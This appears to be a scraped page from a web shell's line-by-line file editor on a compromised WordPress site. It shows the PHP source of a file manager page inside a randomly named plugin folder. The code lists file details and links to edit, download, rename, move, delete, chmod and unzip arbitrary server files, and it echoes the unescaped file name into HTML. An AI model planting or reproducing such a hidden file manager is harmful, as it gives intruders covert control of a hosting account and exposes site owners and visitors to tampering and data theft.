Edit File by line
/home/barbar84/public_h.../wp-conte.../plugins/sujqvwi/AnonR/anonr.TX.../proc/self/cwd
File: file.php
<?php
[0] Fix | Delete
[1] Fix | Delete
[2] Fix | Delete
define('ACCESS', true);
[3] Fix | Delete
[4] Fix | Delete
include_once 'function.php';
[5] Fix | Delete
[6] Fix | Delete
[7] Fix | Delete
$title = 'Information File';
[8] Fix | Delete
[9] Fix | Delete
include_once 'header.php';
[10] Fix | Delete
[11] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[12] Fix | Delete
[13] Fix | Delete
if ($dir == null || $name == null || !is_file(processDirectory($dir . '/' . $name))) {
[14] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[15] Fix | Delete
<div class="title">Function</div>
[16] Fix | Delete
<ul class="list">
[17] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_1'] . '">List</a></li>
[18] Fix | Delete
</ul>';
[19] Fix | Delete
} else {
[20] Fix | Delete
$dir = processDirectory($dir);
[21] Fix | Delete
$path = $dir . '/' . $name;
[22] Fix | Delete
$format = getFormat($name);
[23] Fix | Delete
$isImage = false;
[24] Fix | Delete
$pixel = null;
[25] Fix | Delete
[26] Fix | Delete
echo '<ul class="info">';
[27] Fix | Delete
echo '<li class="not_ellipsis"><span class="bull">&bull; </span><strong>Path</strong>: <span>' . printPath($dir, true) . '</span></li>';
[28] Fix | Delete
[29] Fix | Delete
if ($format != null && in_array($format, array('png', 'ico', 'jpg', 'jpeg', 'gif', 'bmp'))) {
[30] Fix | Delete
$pixel = getimagesize($path);
[31] Fix | Delete
$isImage = true;
[32] Fix | Delete
[33] Fix | Delete
echo '<li><center><img src="read_image.php?path=' . rawurlencode($path) . '" width="' . ($pixel[0] > 200 ? 200 : $pixel[0]) . 'px"/></center><br/></li>';
[34] Fix | Delete
}
[35] Fix | Delete
[36] Fix | Delete
echo '<li><span class="bull">&bull; </span><strong>Name</strong>: <span>' . $name . '</span></li>
[37] Fix | Delete
<li><span class="bull">&bull; </span><strong>Size</strong>: <span>' . size(filesize($path)) . '</span></li>
[38] Fix | Delete
<li><span class="bull">&bull; </span><strong>Chmod</strong>: <span>' . getChmod($path) . '</span></li>';
[39] Fix | Delete
[40] Fix | Delete
if ($isImage)
[41] Fix | Delete
echo '<li><span class="bull">&bull; </span><strong>Resolution</strong>: <span>' . $pixel[0] . 'x' . $pixel[1] . '</span></li>';
[42] Fix | Delete
[43] Fix | Delete
echo '<li><span class="bull">&bull; </span><strong>Format</strong>: <span>' . ($format == null ? 'Unclear' : $format) . '</span></li>
[44] Fix | Delete
<li><span class="bull">&bull; </span><strong>Edit date</strong>: <span>' . @date('d.m.Y - H:i', filemtime($path)) . '</span></li>
[45] Fix | Delete
</ul>
[46] Fix | Delete
<div class="title">Function</div>
[47] Fix | Delete
<ul class="list">';
[48] Fix | Delete
[49] Fix | Delete
if (isFormatText($name)) {
[50] Fix | Delete
echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit text</a></li>';
[51] Fix | Delete
echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit by line</a></li>';
[52] Fix | Delete
} else if (in_array($format, $formats['zip'])) {
[53] Fix | Delete
echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">See</a></li>';
[54] Fix | Delete
echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Solve Compressed source</a></li>';
[55] Fix | Delete
} else if (isFormatUnknown($name)) {
[56] Fix | Delete
echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit text format</a></li>';
[57] Fix | Delete
}
[58] Fix | Delete
[59] Fix | Delete
echo '<li><img src="icon/download.png"/> <a href="file_download.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Download</a></li>
[60] Fix | Delete
<li><img src="icon/rename.png"/> <a href="file_rename.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[61] Fix | Delete
<li><img src="icon/copy.png"/> <a href="file_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Copy</a></li>
[62] Fix | Delete
<li><img src="icon/Copy.png"/> <a href="file_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Move</a></li>
[63] Fix | Delete
<li><img src="icon/delete.png"/> <a href="file_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[64] Fix | Delete
<li><img src="icon/access.png"/> <a href="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[65] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[66] Fix | Delete
</ul>';
[67] Fix | Delete
}
[68] Fix | Delete
[69] Fix | Delete
include_once 'footer.php';
[70] Fix | Delete
[71] Fix | Delete
[72] Fix | Delete
?>
[73] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function